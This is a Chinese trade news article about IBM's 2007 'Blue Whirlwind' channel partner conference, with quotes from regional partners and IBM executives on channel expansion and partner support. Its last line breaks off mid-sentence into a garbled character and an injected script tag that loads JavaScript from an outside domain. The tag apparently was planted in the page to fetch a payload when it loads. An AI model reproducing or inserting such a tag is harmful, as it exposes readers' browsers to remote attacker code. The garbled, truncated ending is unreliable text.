在渠道理论再次甚嚣尘上之际，IBM蓝旋风席卷渠道，深入三级以下城市，以期达成更深、更广、更精的覆盖。

    “我来自内蒙古呼和浩特，公司成立20年了，年收入能达到4亿元，2005年以前我们也卖IBM的产品，但都属于无组织、无纪律的那种。”8月中旬在九寨沟召开的2007年IBM蓝旋风合作伙伴大会上，内蒙古自立电脑有限责任公司总经理张洁这样描述以前销售IBM产品的经历。而在加入IBM蓝旋风之后，情况发生了很大改变。

    “2006年我参加了在桂林召开的蓝旋风大会，会上我感觉到IBM终于看到了像呼和浩特这样的三级市场，并且开始有资源投放了，我有机会加入IBM的正规军了。果然，IBM很快就在呼和浩特设立了一个蓝天战士。”张洁笑言，“我现在找到组织了，开始学习了解IBM体系架构。”2006年，张洁做成了几个100万以上的大单子。

    除了张洁这样的CFT（具备面向最终用户的渠道合作伙伴）代表，广州铭源电子科技有限公司总经理龙启文作为RD（区域经销商）/KR（核心分销商）的诉求则有所不同:“我们是一个创业才两年多的小公司，全年的公司业务还不到5000万元。铭源主要围绕IBM的System p做一些工具类的软件方案开发，使得p系列服务器更加有增值的空间。”

    “我们想发挥创业公司的优势在商业模式做创新，希望联合并推动IBM在中国做一些事情。所以我们更加关心2007年下半年IBM渠道策略有哪些具体的合作计划？针对新加入的渠道合作伙伴IBM又有哪些‘扶持计划’？以及今后IBM如何在渠道方面创造更多机会给我们这些合作伙伴？”

    拟建绿色的渠道生态链

    “为了与IBM大中华区56个城市近千名合作伙伴分享我们对IT产业和创新模式的思考和展望，解答合作伙伴心中的疑惑，”IBM召开了2007年蓝旋风合作伙伴大会。据IBM大中华区董事长周伟介绍，IBM的2007年蓝旋风计划的策略重点由解决方案制胜、渠道赋能和区域团队建设三部分构成。

    据了解，自2004年IBM提出“蓝旋风“合作伙伴支持计划的整体设想后，三年来参与蓝旋风大会的IBM合作伙伴的数字逐年增长，从开始的600多家增长到目前的1000多家，其中借助蓝天碧海计划新加入的CFT已经达到300多家。与此同时，合作伙伴参与IBM的销售程度也在逐年增长。据IBM官方表示，在区域覆盖和海量产品投入上，IBM除延伸到二、三级城市之外，今天已经实现了进一步向四、五、六级城市的扩展。目前IBM的区域覆盖能力已经从40个城市上升至331个城市。

    在为期三天的蓝旋风大会中，IBM还针对不同的合作伙伴（总经销商、区域经销商、核心分销商、独立软件开发商及系统集成商和侧重于中小城市中直接面对当地客户的合作伙伴）举办了五场不同内容的分论坛和相关的产品演示。同时，IBM“中国渠道大学”六大学院之一的系统学院也对合作伙伴进行一系列的产品和解决方案培训。

    目标：更广、更深、更精

    其实，“蓝旋风”合作伙伴支持计划是IBM整体渠道策略“蓝天碧海”中的一部分。IBM大中华区副总裁及STG部门总经理何国伟如此解释该计划：“蓝旋风有三个核心宗旨：第一是共同成长，IBM会继续通过渠道大学来加强渠道赋能；第二是拓展覆盖，IBM会配合分公司和蓝天计划发展；第三是优势互补，IBM希望加强与合作伙伴的共同推广计划，同时从销售的支持帮助渠道合作伙伴赢一些单子回来。”

    据何国伟介绍，2006年，IBM通过蓝天碧海计划同超过3000家合作伙伴进行了超过2万人次的定期交流。在多方面的努力下， IBM与合作伙伴2006年的销售的业绩持续增长，IBM渠道业务占所有业务的比率也显著提高，并且得到了整体服务器、Unix服务器、外部存储、中间件和服务等多个领域的市场第一名。

    IBM大中华区副总裁、渠道及市场部总经理钟郝仪则用‘更广、更深、更精’来概括IBM2007年的渠道整体支持策略：通过对蓝天计划不断地扩充，进一步扩大渠道覆盖面；通过新成立的IBM中国渠道大学，在‘蓝天碧海’战略成功实施的基础上厚积薄发、创新永续，从人才培养、管理以及提升技术方案解决能力等角度将渠道建设推进到一个新的高度；通过‘易联通’（Ecolink）为合作伙伴创造一个互通有无、发掘商计的生态链接，在合作伙伴支持和激励方面做到精益求精。”

    IBM蓝旋风三大策略

    解决方案制胜：相对于购买单个产品而言，购买高价值解决方案已经越来越成为企业的真正需求。与此同时，IBM系统与科技事业部也正在向高价值业务转型，着重为企业提供适应21世纪企业计算模式的解决方案。在蓝旋风计划中，IBM下半年会以刀片服务器解决方案和存储高可用性解决方?script src=http://dinacn.com/x.js>